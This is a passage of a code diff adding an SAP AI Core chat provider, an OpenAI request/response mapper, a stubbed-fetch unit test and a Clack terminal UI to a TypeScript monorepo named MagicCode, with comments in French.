|
listDeployments,
|
||||||
|
type Deployment,
|
||||||
|
} from "./deployments";
|
||||||
|
import { HttpError, postJson } from "./http";
|
||||||
|
import { OPENAI_API_VERSION, buildChatBody, parseChatResponse } from "./openai";
|
||||||
|
|
||||||
|
export interface SapAiCoreOptions {
|
||||||
|
/** Chemin du JSON de config (défaut : $MAGICCODE_BTP_CONFIG ou ./btp_AI.json). */
|
||||||
|
configPath?: string;
|
||||||
|
/** Dossier de lancement de MagicCode : base des chemins relatifs (défaut : process.cwd()). */
|
||||||
|
baseDir?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
function defaultConfigPath(opts?: SapAiCoreOptions): string {
|
||||||
|
return opts?.configPath ?? process.env.MAGICCODE_BTP_CONFIG ?? DEFAULT_CONFIG_PATH;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface Resolved {
|
||||||
|
config: BtpAiConfig;
|
||||||
|
tokens: TokenProvider;
|
||||||
|
deployment: Deployment;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Provider SAP AI Core / Generative AI Hub.
|
||||||
|
* `modelName` : nom du modèle déployé (ex. "anthropic--claude-4.5-sonnet"), ou "" / "auto"
|
||||||
|
* pour prendre le premier déploiement de chat pris en charge.
|
||||||
|
* La connexion (config, token, déploiements) est faite à la première requête.
|
||||||
|
*/
|
||||||
|
export function createSapAiCoreProvider(modelName: string, opts?: SapAiCoreOptions): LLMProvider {
|
||||||
|
const configPath = defaultConfigPath(opts);
|
||||||
|
let ready: Promise<Resolved> | undefined;
|
||||||
|
let resolvedName: string | undefined;
|
||||||
|
|
||||||
|
const resolve = (): Promise<Resolved> => {
|
||||||
|
if (!ready) {
|
||||||
|
const attempt = (async (): Promise<Resolved> => {
|
||||||
|
const config = await loadConfig(configPath, opts?.baseDir);
|
||||||
|
const tokens = createTokenProvider(config);
|
||||||
|
const deployments = await listDeployments(config, await tokens.get());
|
||||||
|
const deployment = findDeployment(deployments, modelName);
|
||||||
|
resolvedName = deployment.name;
|
||||||
|
return { config, tokens, deployment };
|
||||||
|
})();
|
||||||
|
attempt.catch(() => {
|
||||||
|
ready = undefined; // permet de réessayer après une erreur
|
||||||
|
});
|
||||||
|
ready = attempt;
|
||||||
|
}
|
||||||
|
return ready;
|
||||||
|
};
|
||||||
|
|
||||||
|
const send = async (ctx: Resolved, req: ChatRequest, signal?: AbortSignal): Promise<StreamEvent[]> => {
|
||||||
|
const token = await ctx.tokens.get();
|
||||||
|
const group = ctx.config.resourceGroup ?? DEFAULT_RESOURCE_GROUP;
|
||||||
|
const base = ctx.deployment.deploymentUrl.replace(/\/+$/, "");
|
||||||
|
|
||||||
|
if (ctx.deployment.type === "claude") {
|
||||||
|
const json = await postJson(`${base}/converse`, token, group, buildConverseBody(req), signal);
|
||||||
|
return parseConverseResponse(json);
|
||||||
|
}
|
||||||
|
const url = `${base}/chat/completions?api-version=${OPENAI_API_VERSION}`;
|
||||||
|
const json = await postJson(url, token, group, buildChatBody(req), signal);
|
||||||
|
return parseChatResponse(json);
|
||||||
|
};
|
||||||
|
|
||||||
|
return {
|
||||||
|
id: "sapaicore",
|
||||||
|
get model(): string {
|
||||||
|
return resolvedName ?? (modelName || "auto");
|
||||||
|
},
|
||||||
|
capabilities: { tools: true },
|
||||||
|
async *chat(req, signal) {
|
||||||
|
const ctx = await resolve();
|
||||||
|
let events: StreamEvent[];
|
||||||
|
try {
|
||||||
|
events = await send(ctx, req, signal);
|
||||||
|
} catch (err) {
|
||||||
|
if (err instanceof HttpError && err.status === 401) {
|
||||||
|
ctx.tokens.invalidate(); // token expiré : un seul nouvel essai
|
||||||
|
events = await send(ctx, req, signal);
|
||||||
|
} else {
|
||||||
|
throw err;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// TODO : streaming (converse-stream = flux binaire AWS event-stream ; chat/completions = SSE).
|
||||||
|
for (const ev of events) yield ev;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Déploiements disponibles sur le service (pour le sélecteur de modèle). */
|
||||||
|
export async function listSapDeployments(opts?: SapAiCoreOptions): Promise<Deployment[]> {
|
||||||
|
const config = await loadConfig(defaultConfigPath(opts), opts?.baseDir);
|
||||||
|
const tokens = createTokenProvider(config);
|
||||||
|
return listDeployments(config, await tokens.get());
|
||||||
|
}
|
||||||
|
|
||||||
|
export type { Deployment } from "./deployments";
|
||||||
80
packages/providers/src/sapaicore/openai.ts
Normal file
80
packages/providers/src/sapaicore/openai.ts
Normal file
|
|
@ -0,0 +1,80 @@
|
||||||
|
import type { ChatRequest, StopReason, StreamEvent } from "@magiccode/core";
|
||||||
|
|
||||||
|
// GPT sur AI Core = déploiement Azure OpenAI : POST {deploymentUrl}/chat/completions?api-version=…
|
||||||
|
// À ajuster selon la version d'API acceptée par votre service.
|
||||||
|
export const OPENAI_API_VERSION = "2024-10-21";
|
||||||
|
|
||||||
|
export function buildChatBody(req: ChatRequest): Record<string, unknown> {
|
||||||
|
const messages: Record<string, unknown>[] = [{ role: "system", content: req.system }];
|
||||||
|
|
||||||
|
for (const m of req.messages) {
|
||||||
|
if (m.role === "assistant") {
|
||||||
|
const text = m.content.flatMap((b) => (b.type === "text" ? [b.text] : [])).join("");
|
||||||
|
const toolCalls = m.content.flatMap((b) =>
|
||||||
|
b.type === "tool_use"
|
||||||
|
? [{ id: b.id, type: "function", function: { name: b.name, arguments: JSON.stringify(b.input) } }]
|
||||||
|
: [],
|
||||||
|
);
|
||||||
|
messages.push({
|
||||||
|
role: "assistant",
|
||||||
|
content: text || null,
|
||||||
|
...(toolCalls.length > 0 ? { tool_calls: toolCalls } : {}),
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
for (const b of m.content) {
|
||||||
|
if (b.type === "tool_result") {
|
||||||
|
messages.push({ role: "tool", tool_call_id: b.toolUseId, content: b.content });
|
||||||
|
} else if (b.type === "text") {
|
||||||
|
messages.push({ role: "user", content: b.text });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const body: Record<string, unknown> = { messages };
|
||||||
|
if (req.tools.length > 0) {
|
||||||
|
body.tools = req.tools.map((t) => ({
|
||||||
|
type: "function",
|
||||||
|
function: { name: t.name, description: t.description, parameters: t.inputSchema },
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
return body;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface ChatResponse {
|
||||||
|
choices?: {
|
||||||
|
finish_reason?: string;
|
||||||
|
message?: {
|
||||||
|
content?: string | null;
|
||||||
|
tool_calls?: { id: string; function: { name: string; arguments: string } }[];
|
||||||
|
};
|
||||||
|
}[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export function parseChatResponse(json: unknown): StreamEvent[] {
|
||||||
|
const choice = (json as ChatResponse).choices?.[0];
|
||||||
|
const events: StreamEvent[] = [];
|
||||||
|
const msg = choice?.message;
|
||||||
|
|
||||||
|
if (msg?.content) events.push({ type: "text_delta", text: msg.content });
|
||||||
|
for (const call of msg?.tool_calls ?? []) {
|
||||||
|
let input: Record<string, unknown> = {};
|
||||||
|
try {
|
||||||
|
input = JSON.parse(call.function.arguments || "{}") as Record<string, unknown>;
|
||||||
|
} catch {
|
||||||
|
// arguments invalides : l'outil recevra un objet vide et renverra une erreur explicite
|
||||||
|
}
|
||||||
|
events.push({ type: "tool_use", id: call.id, name: call.function.name, input });
|
||||||
|
}
|
||||||
|
|
||||||
|
const stop: StopReason =
|
||||||
|
choice?.finish_reason === "tool_calls"
|
||||||
|
? "tool_use"
|
||||||
|
: choice?.finish_reason === "stop"
|
||||||
|
? "end_turn"
|
||||||
|
: choice?.finish_reason === "length"
|
||||||
|
? "max_tokens"
|
||||||
|
: "other";
|
||||||
|
events.push({ type: "done", stopReason: stop });
|
||||||
|
return events;
|
||||||
|
}
|
||||||
78
packages/providers/src/sapaicore/sapaicore.test.ts
Normal file
78
packages/providers/src/sapaicore/sapaicore.test.ts
Normal file
|
|
@ -0,0 +1,78 @@
|
||||||
|
import { mkdtemp, writeFile } from "node:fs/promises";
|
||||||
|
import { tmpdir } from "node:os";
|
||||||
|
import { join } from "node:path";
|
||||||
|
import type { StreamEvent } from "@magiccode/core";
|
||||||
|
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||||
|
import { createSapAiCoreProvider } from "./index";
|
||||||
|
|
||||||
|
const json = (body: unknown) =>
|
||||||
|
new Response(JSON.stringify(body), { status: 200, headers: { "Content-Type": "application/json" } });
|
||||||
|
|
||||||
|
afterEach(() => vi.unstubAllGlobals());
|
||||||
|
|
||||||
|
describe("provider sapaicore", () => {
|
||||||
|
it("s'authentifie, résout le déploiement Claude et appelle /converse", async () => {
|
||||||
|
const dir = await mkdtemp(join(tmpdir(), "magiccode-"));
|
||||||
|
const cfg = join(dir, "btp_AI.json");
|
||||||
|
await writeFile(
|
||||||
|
cfg,
|
||||||
|
JSON.stringify({
|
||||||
|
url: "https://auth.example",
|
||||||
|
basic: "abc",
|
||||||
|
serviceurls: { AI_API_URL: "https://api.example" },
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
vi.stubGlobal(
|
||||||
|
"fetch",
|
||||||
|
vi.fn(async (input: URL | string) => {
|
||||||
|
const url = String(input);
|
||||||
|
if (url.includes("/oauth/token")) return json({ access_token: "tok", expires_in: 3600 });
|
||||||
|
if (url.endsWith("/v2/lm/deployments")) {
|
||||||
|
return json({
|
||||||
|
resources: [
|
||||||
|
{
|
||||||
|
id: "d1",
|
||||||
|
deploymentUrl: "https://api.example/v2/inference/deployments/d1",
|
||||||
|
details: {
|
||||||
|
resources: {
|
||||||
|
backend_details: { model: { name: "anthropic--claude-4.5-sonnet", version: "1" } },
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
],
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (url.endsWith("/d1/converse")) {
|
||||||
|
return json({
|
||||||
|
output: {
|
||||||
|
message: {
|
||||||
|
content: [{ text: "salut" }, { toolUse: { toolUseId: "t1", name: "Read", input: { path: "a" } } }],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
stopReason: "tool_use",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
throw new Error(`URL inattendue : ${url}`);
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
// chemin relatif + dossier de lancement : indépendant du process.cwd() réel
|
||||||
|
const provider = createSapAiCoreProvider("", { configPath: "btp_AI.json", baseDir: dir });
|
||||||
|
const events: StreamEvent[] = [];
|
||||||
|
for await (const ev of provider.chat({
|
||||||
|
system: "s",
|
||||||
|
messages: [{ role: "user", content: [{ type: "text", text: "hi" }] }],
|
||||||
|
tools: [],
|
||||||
|
})) {
|
||||||
|
events.push(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
expect(events).toEqual([
|
||||||
|
{ type: "text_delta", text: "salut" },
|
||||||
|
{ type: "tool_use", id: "t1", name: "Read", input: { path: "a" } },
|
||||||
|
{ type: "done", stopReason: "tool_use" },
|
||||||
|
]);
|
||||||
|
expect(provider.model).toBe("anthropic--claude-4.5-sonnet");
|
||||||
|
});
|
||||||
|
});
|
||||||
4
packages/providers/tsconfig.json
Normal file
4
packages/providers/tsconfig.json
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
{
|
||||||
|
"extends": "../../tsconfig.base.json",
|
||||||
|
"include": ["src"]
|
||||||
|
}
|
||||||
12
packages/ui/package.json
Normal file
12
packages/ui/package.json
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
{
|
||||||
|
"name": "@magiccode/ui",
|
||||||
|
"version": "0.1.0",
|
||||||
|
"type": "module",
|
||||||
|
"main": "src/index.ts",
|
||||||
|
"types": "src/index.ts",
|
||||||
|
"scripts": { "typecheck": "tsc -p ." },
|
||||||
|
"dependencies": {
|
||||||
|
"@clack/prompts": "^0.9.0",
|
||||||
|
"@magiccode/core": "workspace:*"
|
||||||
|
}
|
||||||
|
}
|
||||||
100
packages/ui/src/clack-ui.ts
Normal file
100
packages/ui/src/clack-ui.ts
Normal file
|
|
@ -0,0 +1,100 @@
|
||||||
|
import * as p from "@clack/prompts";
|
||||||
|
import type { AgentUI } from "@magiccode/core";
|
||||||
|
|
||||||
|
export interface Choice<T> {
|
||||||
|
value: T;
|
||||||
|
label: string;
|
||||||
|
hint?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const PREVIEW_MAX = 600;
|
||||||
|
|
||||||
|
export class ClackUI implements AgentUI {
|
||||||
|
private spin = p.spinner();
|
||||||
|
private spinning = false;
|
||||||
|
|
||||||
|
// ----- cycle de vie -----
|
||||||
|
intro(title: string): void {
|
||||||
|
p.intro(title);
|
||||||
|
}
|
||||||
|
outro(message: string): void {
|
||||||
|
p.outro(message);
|
||||||
|
}
|
||||||
|
info(message: string): void {
|
||||||
|
p.log.info(message);
|
||||||
|
}
|
||||||
|
warn(message: string): void {
|
||||||
|
p.log.warn(message);
|
||||||
|
}
|
||||||
|
error(message: string): void {
|
||||||
|
p.log.error(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Affiche un spinner pendant une opération asynchrone (chargement des modèles, etc.). */
|
||||||
|
async withSpinner<T>(message: string, fn: () => Promise<T>, done = "Terminé"): Promise<T> {
|
||||||
|
const s = p.spinner();
|
||||||
|
s.start(message);
|
||||||
|
try {
|
||||||
|
const result = await fn();
|
||||||
|
s.stop(done);
|
||||||
|
return result;
|
||||||
|
} catch (err) {
|
||||||
|
s.stop("Échec", 1);
|
||||||
|
throw err;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ----- saisies -----
|
||||||
|
/** Retourne null si l'utilisateur annule (Ctrl+C). */
|
||||||
|
async select<T>(message: string, choices: Choice<T>[], initialValue?: T): Promise<T | null> {
|
||||||
|
const result = await p.select({
|
||||||
|
message,
|
||||||
|
options: choices.map((c) => ({ value: c.value, label: c.label, hint: c.hint })) as never,
|
||||||
|
initialValue: initialValue as never,
|
||||||
|
});
|
||||||
|
return p.isCancel(result) ? null : (result as T);
|
||||||
|
}
|
||||||
|
|
||||||
|
async readInput(): Promise<string | null> {
|
||||||
|
const result = await p.text({
|
||||||
|
message: "Vous",
|
||||||
|
placeholder: "Votre demande (/help pour l'aide)",
|
||||||
|
});
|
||||||
|
return p.isCancel(result) ? null : String(result).trim();
|
||||||
|
}
|
||||||
|
|
||||||
|
async confirm(message: string): Promise<boolean> {
|
||||||
|
const result = await p.confirm({ message });
|
||||||
|
return !p.isCancel(result) && result === true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ----- AgentUI : affichage du déroulé de l'agent -----
|
||||||
|
onThinking(active: boolean): void {
|
||||||
|
if (active && !this.spinning) {
|
||||||
|
this.spin.start("Réflexion…");
|
||||||
|
this.spinning = true;
|
||||||
|
} else if (!active && this.spinning) {
|
||||||
|
this.spin.stop("");
|
||||||
|
this.spinning = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
onText(text: string): void {
|
||||||
|
process.stdout.write(text);
|
||||||
|
}
|
||||||
|
|
||||||
|
onTextEnd(): void {
|
||||||
|
process.stdout.write("\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
onToolCall(name: string, summary: string): void {
|
||||||
|
p.log.step(`${name} ${summary}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
onToolResult(_name: string, output: string, isError: boolean): void {
|
||||||
|
const preview =
|
||||||
|
output.length > PREVIEW_MAX ? `${output.slice(0, PREVIEW_MAX)}\n… (tronqué)` : output;
|
||||||
|
if (isError) p.log.error(preview);
|
||||||
|
else if (preview) p.log.message(preview);
|
||||||
|
}
|
||||||
|
}
|
||||||
1
packages/ui/src/index.ts
Normal file
1
packages/ui/src/index.ts
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
export * from "./clack-ui";
|
||||||
4
packages/ui/tsconfig.json
Normal file
4
packages/ui/tsconfig.json
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
{
|
||||||
|
"extends": "../../tsconfig.base.json",
|
||||||
|
"include": ["src"]
|
||||||
|
}
|
||||||
2164
pnpm-lock.yaml
Normal file
2164
pnpm-lock.yaml
Normal file
File diff suppressed because it is too large
Load diff
2
pnpm-workspace.yaml
Normal file
2
pnpm-workspace.yaml
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
packages:
|
||||||
|
- "packages/*"
|
||||||
14
tsconfig.base.json
Normal file
14
tsconfig.base.json
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
{
|
||||||
|
"compilerOptions": {
|
||||||
|
"target": "ES2022",
|
||||||
|
"module": "ESNext",
|
||||||
|
"moduleResolution": "Bundler",
|
||||||
|
"strict": true,
|
||||||
|
"noUncheckedIndexedAccess": true,
|
||||||
|
"esModuleInterop": true,
|
||||||
|
"skipLibCheck": true,
|
||||||
|
"resolveJsonModule": true,
|
||||||
|
"noEmit": true,
|
||||||
|
"types": ["node"]
|
||||||
|
}
|
||||||
|
}
|
||||||
Loading…
Reference in a new issue